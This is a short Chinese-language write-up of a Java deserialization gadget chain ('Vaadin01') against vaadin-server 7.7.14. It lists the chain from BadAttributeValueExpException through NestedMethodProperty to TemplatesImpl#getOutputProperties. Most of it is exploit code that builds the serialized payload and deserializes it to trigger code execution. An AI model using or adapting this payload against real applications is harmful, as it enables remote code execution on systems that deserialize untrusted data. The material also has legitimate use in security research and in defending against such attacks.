Vaadin01 反序列化
依赖
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
Gadget
/*
* Gadget:
* BadAttributeValueExpException#readObject
* PropertysetItem#toString
* NestedMethodProperty#getValue
* Method#invoke
* TemplatesImpl#getOutputProperties
* */
NestedMethodProperty#getValue
方法存在动态方法调用,很容易就能构造出执行 TemplatesImpl#getOutputProperties
方法的链
public class Vaadin01 {
public static byte[] getSerializeData() throws Exception{
TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
PropertysetItem propertysetItem = new PropertysetItem();
NestedMethodProperty nestedMethodProperty = new NestedMethodProperty(templatesImpl,"outputProperties");
propertysetItem.addItemProperty("1",nestedMethodProperty);
Reflect.reflectSetField(badAttributeValueExpException,"val",propertysetItem);
byte[] bytes = SerWithUnSer.serialize(badAttributeValueExpException);
return bytes;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
byte[] bytes = getSerializeData();
SerWithUnSer.unSerialize(bytes);
}
}